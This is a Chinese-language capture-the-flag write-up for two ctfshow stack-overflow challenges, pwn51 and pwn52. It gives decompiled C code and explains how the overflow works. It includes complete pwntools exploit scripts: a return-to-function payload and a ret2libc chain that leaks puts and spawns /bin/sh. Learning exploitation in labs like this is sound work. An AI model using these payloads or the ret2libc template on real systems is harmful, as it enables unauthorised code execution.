pwn51
32位
反编译后傻眼了
是C++
看不太懂,靠着string界面找到了主要函数sub_8049059
int sub_8049059()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
_BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
_BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
初略理解之下,知道s就是要溢出的对象,认为偏移值就是char s[32]; // [esp+Ch] [ebp-6Ch] BYREF,也就是0x6C+4
string界面还能找到一条system指令
int sub_804902E()
{
return system("cat /ctfshow_flag");
}
初步尝试失败,虽然看着应该没什么问题
但是貌似有限制输入
所以尝试输入0x6C+4的‘a’就没办法输出够
看WP才知道主函数里面会把I换成IronMan
16个I的输入就能刚刚好变成112字节IronMan,完成溢出效果
然后后续跟一个system函数位置就好了
exp:
from pwn import *
u=remote("pwn.challenge.ctf.show",28223)
payload=b'I'*16+p32(0x0804902E)
#payload=b'I'*16+p32(0x08049042)
u.sendline(payload)
u.interactive()
此事在直接本地运行亦有记载(
ctfshow@ubuntu:~/Desktop/xd/LibcSearcher$ ./pwn51
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Who are you?
* *************************************
Who are you?
I
Wow!you are:IronMan
pwn52
flag函数
char *__cdecl flag(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 876 && a2 == 877 )
return (char *)printf(s);
return result;
}
初略理解后,大意为传入参数a1,a2为对应值
就可以输出数组s的内容
而数组s读取了stream的前64字节的内容
stream又是依靠只读打开的ctfshow_flag的内容
所以拿到数组S就是拿到目标flag
找flag函数地址
再找到偏移量
exp:
from pwn import *
u=remote("pwn.challenge.ctf.show",28231)
offset = 0x6C
flag = 0x08048586
payload=b'a'*(offset+4)+p32(flag)+p32(0)+p32(876)+p32(877)
u.sendline(payload)
u.interactive()
还可以用ret2libc做,存在puts函数,套板子就能出
exp:
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show', 28188)
# io = process("")
elf = ELF('./pwn52')
# libc= ELF('libc.so.6')
main_add =0x0804874E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))
offset =0x6C
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'What do you want?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'What do you want?', payload2)
io.interactive()